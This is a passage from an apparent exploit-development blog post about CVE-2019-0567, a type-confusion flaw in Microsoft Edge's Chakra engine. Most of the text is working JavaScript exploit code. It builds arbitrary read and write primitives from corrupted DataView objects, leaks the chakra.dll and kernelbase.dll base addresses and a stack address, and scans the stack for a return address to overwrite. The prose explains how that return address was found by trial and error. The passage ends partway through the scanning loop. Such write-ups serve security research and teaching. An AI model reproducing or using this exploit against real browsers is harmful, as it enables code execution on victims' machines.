    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x430</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

    <span class="c1">// Arbitrary read to get the threadContext pointer (offset 0x3b8)</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x5c0</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
    <span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
    <span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
    <span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>After running our exploit, we can see that we have successfully leaked a stack address.</p>

<p><img src="/images/3typeconfusion40.png" alt="" /></p>

<p>From our experimenting earlier, the offsets between the leaked stack addresses have a certain degree of variance between script runs. Because of this, there is no way for us to compute the base and limit of the stack with our leaked address, as the offset is set to change. Because of this, we will forgo the process of computing the stack limit. Instead, we will perform our stack scanning for return addresses from the address we have currently leaked. Let’s recall a previous image outlining the stack limit of the thread where we leaked a stack address at the time of the leak.</p>

<p><img src="/images/3typeconfusion39.png" alt="" /></p>

<p>As we can see, we are towards the base of the stack. Since the stack grows “downwards”, as we can see with the stack base being located at a higher address than the actual stack limit, we will do our scanning in “reverse” order, in comparison to part two. For our purposes, we will do stack scanning by starting at our leaked stack address and traversing <em>backwards</em> towards the stack limit (which is the highest, technically “lowest” address the stack can grow towards).</p>

<p>We already outlined in part two of this blog post the methodology I used in terms of leaking a return address to corrupt. As mentioned then, the process is as follows:</p>

<ol>
  <li>Traverse the stack using read primitive</li>
  <li>Print out all contents of the stack that are possible to read</li>
  <li>Look for anything starting with <code class="language-plaintext highlighter-rouge">0x7fff</code>, meaning an address from a loaded module like <code class="language-plaintext highlighter-rouge">chakra.dll</code></li>
  <li>Disassemble the address to see if it is an actual return address</li>
</ol>

<p>While omitting much of the code from our full exploit, a stack scan would look like this (a scan used just to print out return addresses):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

<span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
<span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
<span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

<span class="c1">// Print update</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Counter variable</span>
<span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mh">0x6000</span><span class="p">;</span>

<span class="c1">// Loop</span>
<span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Store the contents of the stack</span>
    <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack address 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> contains: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Decrement the counter</span>
    <span class="c1">// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit</span>
    <span class="nx">counter</span> <span class="o">-=</span> <span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As we can see above, we do this in “reverse” order of our ChakraCore exploit in part two. Since we don’t have the luxury of already knowing where the stack limit is, which is the “last” address that can be used by that thread’s stack, we can’t just traverse the stack by incrementing. Instead, since we are leaking an address towards the “base” of the stack, we have to decrement (since the stack grows downwards) towards the stack limit.</p>

<p>In other words, less technically, we have leaked somewhere towards the “bottom” of the stack and we want to walk towards the “top of the stack” in order to scan for return addresses. You’ll notice a few things about the previous code, the first being the arbitrary <code class="language-plaintext highlighter-rouge">0x6000</code> number. This number was found by trial and error. I started with <code class="language-plaintext highlighter-rouge">0x1000</code> and ran the loop to see if the exploit crashed. I kept incrementing the number until a crash started to ensue. A crash in this case refers to the fact we are likely reading from decommitted memory, meaning we will cause an access violation. The “gist” of this is to basically see how many bytes you can read without crashing, and those are the return addresses you can choose from. Here is how our output looks.</p>

<p><img src="/images/3typeconfusion41.png" alt="" /></p>

<p>As we start to scroll down through the output, we can clearly see some return address starting to bubble up!</p>

<p><img src="/images/3typeconfusion42.png" alt="" /></p>

<p>Since I already mentioned the “trial and error” approach in part two, which consists of overwriting a return address (after confirming it is one) and seeing if you end up controlling the instruction pointer by corrupting it, I won’t show this process here again. Just know, as mentioned, that this is just a matter of trial and error (in terms of my approach). The return address that I found worked best for me was <code class="language-plaintext highlighter-rouge">chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83</code> (again there is no “special” way to find it. I just started corrupting return address with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> and seeing if I caused an access violation with RIP being controlled to by the value <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>, or RSP being pointed to by this value at the time of the access violation).</p>

<p>This value can be seen in the stack leaking contents.</p>

<p><img src="/images/3typeconfusion43.png" alt="" /></p>

<p><img src="/images/3typeconfusion44.png" alt="" /></p>

<p>Why did I choose this return address? Again, it was an arduous process taking every stack address and overwriting it until one consistently worked. Additionally, a little less anecdotally, the symbol for this return address is with a function quite literally called <code class="language-plaintext highlighter-rouge">CallFunction</code>, which means its likely responsible for executing a function call of interpreted JavaScript. Because of this, we know a function will execute its code and then hand execution back to the caller via the return address. It is likely that this piece of code will be executed (the return address) since it is responsible for calling a function. However, there are many other options that you could choose from.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"main()"</span><span class="nt">&gt;</span>Click me to exploit CVE-2019-0567!<span class="nt">&lt;/button&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="c1">// CVE-2019-0567: Microsoft Edge Type Confusion</span>
<span class="c1">// Author: Connor McGarr (@33y0re)</span>

<span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getInt32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>       <span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from chakra.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Store the base of chakra.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x5d0bf8</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] chakra.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll</span>
    <span class="c1">// chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle</span>
    <span class="nx">kernelbaseLeak</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x5ee2b8</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

    <span class="c1">// KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address</span>
    <span class="nx">kernelbaseLo</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="mh">0x18de0</span><span class="p">;</span>
    <span class="nx">kernelbaseHigh</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable</span>
    <span class="kd">var</span> <span class="nx">duplicateHandle</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
    <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">kernelbaseLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernelbase.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernelbaseLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Print update with our type pointer</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] type pointer: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">typeLo</span><span class="p">));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mi">8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x430</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

    <span class="c1">// Arbitrary read to get the threadContext pointer (offset 0x3b8)</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x5c0</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0</span>
    <span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1360</span>
    <span class="c1">// Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)</span>
    <span class="nx">stackleakPointer</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x8f8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack address! type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;leafInterpreterFrame: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// We can reliably traverse the stack 0x6000 bytes</span>
    <span class="c1">// Scan the stack for the return address below</span>
    <span class="cm">/*
    0:020&gt; u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */</span>

    <span class="c1">// Creating an array to store the return address because read64() returns an array of 2 32-bit values</span>
    <span class="kd">var</span> <span class="nx">returnAddress</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0xd4a73</span><span class="p">;</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

	<span class="c1">// Counter variable</span>
	<span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mh">0x6000</span><span class="p">;</span>

	<span class="c1">// Loop</span>
